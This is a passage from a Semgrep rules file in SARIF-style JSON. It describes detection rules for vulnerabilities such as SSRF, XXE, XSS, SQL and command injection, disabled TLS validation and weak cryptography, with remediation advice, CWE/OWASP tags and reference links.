Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","id":"python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","name":"python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dangerous client config used, ensure SSL verification"},"help":{"markdown":"Dangerous client config used, ensure SSL verification\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.rustls-dangerous.rustls-dangerous)\n - [https://docs.rs/rustls/latest/rustls/client/struct.DangerousClientConfig.html](https://docs.rs/rustls/latest/rustls/client/struct.DangerousClientConfig.html)\n - [https://docs.rs/rustls/latest/rustls/client/struct.ClientConfig.html#method.dangerous](https://docs.rs/rustls/latest/rustls/client/struct.ClientConfig.html#method.dangerous)\n","text":"Dangerous client config used, ensure SSL verification"},"helpUri":"https://semgrep.dev/r/rust.lang.security.rustls-dangerous.rustls-dangerous","id":"rust.lang.security.rustls-dangerous.rustls-dangerous","name":"rust.lang.security.rustls-dangerous.rustls-dangerous","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.rustls-dangerous.rustls-dangerous"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","id":"java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","name":"java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"help":{"markdown":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","id":"cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","name":"cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","id":"java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","name":"java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account."},"help":{"markdown":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards)\n - [https://developer.apple.com/documentation/uikit/uipasteboard?language=swift](https://developer.apple.com/documentation/uikit/uipasteboard?language=swift)\n - [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)\n","text":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account."},"helpUri":"https://semgrep.dev/r/swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","id":"swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","name":"swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","id":"java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","name":"java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts."},"help":{"markdown":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param)\n - [https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/pages_security_tips_xss.htm](https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/pages_security_tips_xss.htm)\n","text":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","id":"generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","name":"generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread()."},"help":{"markdown":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os1)\n","text":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os1","id":"python.lang.compatibility.python37.python37-compatibility-os1","name":"python.lang.compatibility.python37.python37-compatibility-os1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-os1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pg-sqli.pg-sqli)\n - [https://pg.uptrace.dev/](https://pg.uptrace.dev/)\n - [https://pkg.go.dev/github.com/go-pg/pg/v10](https://pkg.go.dev/github.com/go-pg/pg/v10)\n","text":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pg-sqli.pg-sqli","id":"go.lang.security.audit.sqli.pg-sqli.pg-sqli","name":"go.lang.security.audit.sqli.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security."},"help":{"markdown":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-uuid-version.insecure-uuid-version)\n - [https://www.landh.tech/blog/20230811-sandwich-attack/](https://www.landh.tech/blog/20230811-sandwich-attack/)\n","text":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-uuid-version.insecure-uuid-version","id":"python.lang.security.insecure-uuid-version.insecure-uuid-version","name":"python.lang.security.insecure-uuid-version.insecure-uuid-version","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-uuid-version.insecure-uuid-version"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family."},"help":{"markdown":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.system-command.dont-call-system.dont-call-system)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.system-command.dont-call-system.dont-call-system","id":"cpp.lang.security.system-command.dont-call-system.dont-call-system","name":"cpp.lang.security.system-command.dont-call-system.dont-call-system","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.system-command.dont-call-system.dont-call-system"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-os-command-injection](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-os-command-injection)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Foscmd](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Foscmd)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","id":"java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","name":"java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"help":{"markdown":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","id":"swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","name":"swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as 